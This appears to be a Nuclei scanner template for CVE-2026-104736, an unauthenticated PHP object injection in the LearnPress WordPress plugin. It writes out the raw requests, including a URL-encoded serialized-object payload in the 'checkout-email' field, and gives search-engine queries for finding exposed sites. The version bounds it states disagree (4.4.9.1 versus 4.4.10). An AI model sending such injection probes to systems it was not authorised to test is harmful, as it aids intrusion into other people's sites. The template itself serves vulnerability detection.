Description
LearnPress WordPress plugin <= 4.4.10 contains a PHP Object Injection caused by deserialization of untrusted 'checkout-email' parameter in checkout AJAX action, letting unauthenticated attackers inject PHP objects remotely.
LearnPress WordPress plugin <= 4.4.10 contains a PHP Object Injection caused by deserialization of untrusted 'checkout-email' parameter in checkout AJAX action, letting unauthenticated attackers inject PHP objects remotely.
id: CVE-2026-104736
info:
name: LearnPress <= 4.4.9.1 - PHP Object Injection
author: 0x_Akoko,pdteam
severity: critical
description: |
LearnPress WordPress plugin <= 4.4.10 contains a PHP Object Injection caused by deserialization of untrusted 'checkout-email' parameter in checkout AJAX action, letting unauthenticated attackers inject PHP objects remotely.
impact: |
Unauthenticated attackers can inject PHP objects, potentially leading to remote code execution or full system compromise.
remediation: |
Update to the latest version beyond 4.4.10.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/id/3e28e008-0ec1-4262-9ac0-6170cf8b8bdf?source=cve
- https://patchstack.com/database/wordpress/plugin/learnpress/vulnerability/wordpress-learnpress-wordpress-lms-plugin-for-create-and-sell-online-courses-plugin-4-4-10-unauthenticated-php-object-injection-vulnerability
- https://github.com/murrez/CVE-2026-104736
- https://nvd.nist.gov/vuln/detail/CVE-2026-104736
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-104736
epss-score: 0.02524
epss-percentile: 0.84974
cwe-id: CWE-502
metadata:
verified: true
max-request: 2
vendor: thimpress
product: learnpress
fofa-query: body="/wp-content/plugins/learnpress/"
publicwww-query: "/wp-content/plugins/learnpress/"
tags: cve,cve2026,wordpress,wp,wp-plugin,learnpress,deserialization,php,vkev
flow: http(1) && http(2)
http:
- raw:
- |
GET /wp-content/plugins/learnpress/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "LearnPress")'
- 'compare_versions(plugin_version, "<= 4.4.9.1")'
condition: and
internal: true
extractors:
- type: regex
name: plugin_version
group: 1
regex:
- '(?i)Stable tag:\s*([0-9.]+)'
internal: true
- raw:
- |
POST / HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
lp-ajax=checkout&checkout-email=O%3A8%3A%22stdClass%22%3A1%3A%7Bs%3A4%3A%22{{rand_text_alpha(4)}}%22%3Bs%3A3%3A%22poc%22%3B%7D
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "LP_AJAX_START")'
- '!contains(body, "invalid_email")'
condition: and
# digest: 4a0a00473045022100ed4236c6e0cb721f70af8b10697360a95699386f16dbf76bff7e0c854e02a1f402200b4b1c17a16418075678e90e945aa9b0402e2626483e8b80a7332af6dac7ab3a:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.